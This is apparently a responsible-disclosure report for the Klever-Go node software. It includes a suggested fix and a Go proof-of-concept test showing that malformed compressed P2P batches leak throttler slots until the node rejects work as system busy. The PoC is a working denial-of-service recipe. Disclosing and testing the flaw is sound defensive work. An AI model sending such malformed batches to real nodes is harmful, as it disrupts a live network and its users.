Details
Suggested Fix
Ensure that every path after StartProcessing() releases the throttler slot exactly once. A direct fix is to call EndProcessing() before returning from the decompression-error branch. A more robust fix is to use a guarded defer immediately after StartProcessing() and disable that defer only when the asynchronous goroutine takes ownership of releasing the slot.
Closing
I am available to answer technical questions regarding these findings and to review proposed fixes prior to deployment. Please contact me through this disclosure thread or through the email address associated with this submission.
Proof-of-Concept Source
poc_mdi_throttler_slot_leak_test.go
package poc
/*
Target contract : Klever-Go P2P MultiDataInterceptor; no on-chain address
Vulnerability : Denial of service through leaked global P2P throttler slots
Severity : High
How to run : GOTOOLCHAIN=go1.25.9 go test -v poc_mdi_throttler_slot_leak_test.go
Expected output : The test passes and logs that a real throttler returns system busy after malformed compressed batches
Dependencies : In an empty directory containing this file, run: go mod init klever-go-disclosure-poc; go get github.com/klever-io/[email protected]; go mod tidy
*/
import (
"errors"
"fmt"
"testing"
"github.com/klever-io/klever-go/common"
"github.com/klever-io/klever-go/common/mock"
"github.com/klever-io/klever-go/core"
"github.com/klever-io/klever-go/core/process/interceptors"
"github.com/klever-io/klever-go/core/throttler"
"github.com/klever-io/klever-go/data/batch"
)
func malformedCompressedBatchPayload(t *testing.T, marshalizer *mock.MarshalizerMock) []byte {
t.Helper()
// Build a syntactically valid batch envelope whose compressed stream is not valid gzip.
payload, err := marshalizer.Marshal(&batch.Batch{
IsCompressed: true,
Stream: []byte("not-a-gzip-stream"),
DataSize: 1,
})
if err != nil {
t.Fatalf("marshal malformed compressed batch: %v", err)
}
return payload
}
func newMultiDataInterceptor(t *testing.T, marshalizer *mock.MarshalizerMock, throttlerArg interface {
CanProcess() bool
StartProcessing()
EndProcessing()
IsInterfaceNil() bool
}) *interceptors.MultiDataInterceptor {
t.Helper()
// Use the production transaction topic and production MultiDataInterceptor constructor.
arg := interceptors.ArgMultiDataInterceptor{
Topic: common.TransactionTopic,
Marshalizer: marshalizer,
DataFactory: &mock.InterceptedDataFactoryStub{},
Processor: &mock.InterceptorProcessorStub{},
Throttler: throttlerArg,
AntifloodHandler: &mock.P2PAntifloodHandlerStub{},
WhiteListRequest: &mock.WhiteListHandlerStub{},
CurrentPeerID: core.PeerID("local-peer"),
}
mdi, err := interceptors.NewMultiDataInterceptor(arg)
if err != nil {
t.Fatalf("construct MultiDataInterceptor: %v", err)
}
return mdi
}
func malformedP2PBatchMessage(payload []byte, sequence int) *mock.P2PMessageMock {
// Build a P2P message that passes outer message preprocessing and reaches decompression.
return &mock.P2PMessageMock{
DataField: payload,
PeerField: core.PeerID("origin-peer"),
SeqNoField: []byte(fmt.Sprintf("seq-%d", sequence)),
}
}
func TestPoC_MalformedCompressedBatchLeaksThrottlerSlot(t *testing.T) {
marshalizer := &mock.MarshalizerMock{}
// First prove that a malformed compressed batch calls StartProcessing without a matching EndProcessing.
countingThrottler := &mock.InterceptorThrottlerStub{
CanProcessCalled: func() bool { return true },
}
mdiWithCountingThrottler := newMultiDataInterceptor(t, marshalizer, countingThrottler)
payload := malformedCompressedBatchPayload(t, marshalizer)
message := malformedP2PBatchMessage(payload, 1)
startBefore := countingThrottler.StartProcessingCount()
endBefore := countingThrottler.EndProcessingCount()
err := mdiWithCountingThrottler.ProcessReceivedMessage(message, core.PeerID("connected-peer"))
startAfter := countingThrottler.StartProcessingCount()
endAfter := countingThrottler.EndProcessingCount()
// The vulnerable branch returns the gzip error after StartProcessing but before EndProcessing.
if err == nil {
t.Fatalf("expected gzip error, got nil")
}
if startAfter != startBefore+1 {
t.Fatalf("expected one throttler start, before=%d after=%d", startBefore, startAfter)
}
if endAfter != endBefore {
t.Fatalf("expected no throttler end on decompress error, before=%d after=%d", endBefore, endAfter)
}
t.Logf("process_error=%v", err)
t.Logf("start_count_before=%d", startBefore)
t.Logf("start_count_after=%d", startAfter)
t.Logf("end_count_before=%d", endBefore)
t.Logf("end_count_after=%d", endAfter)
// Then prove direct impact with a real capacity-2 throttler.
realThrottler, err := throttler.NewNumGoRoutinesThrottler(2)
if err != nil {
t.Fatalf("construct real throttler: %v", err)
}
mdiWithRealThrottler := newMultiDataInterceptor(t, marshalizer, realThrottler)
err1 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 2), core.PeerID("connected-peer"))
err2 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 3), core.PeerID("connected-peer"))
err3 := mdiWithRealThrottler.ProcessReceivedMessage(malformedP2PBatchMessage(payload, 4), core.PeerID("connected-peer"))
// The third attempt is rejected as system busy because leaked slots were not released.
if err1 == nil || err2 == nil {
t.Fatalf("expected first two malformed attempts to return gzip errors, got err1=%v err2=%v", err1, err2)
}
if !errors.Is(err3, common.ErrSystemBusy) {
t.Fatalf("expected third attempt to hit system busy, got %v", err3)
}
t.Logf("real_throttler_attempt_1=%v", err1)
t.Logf("real_throttler_attempt_2=%v", err2)
t.Logf("real_throttler_attempt_3=%v", err3)
}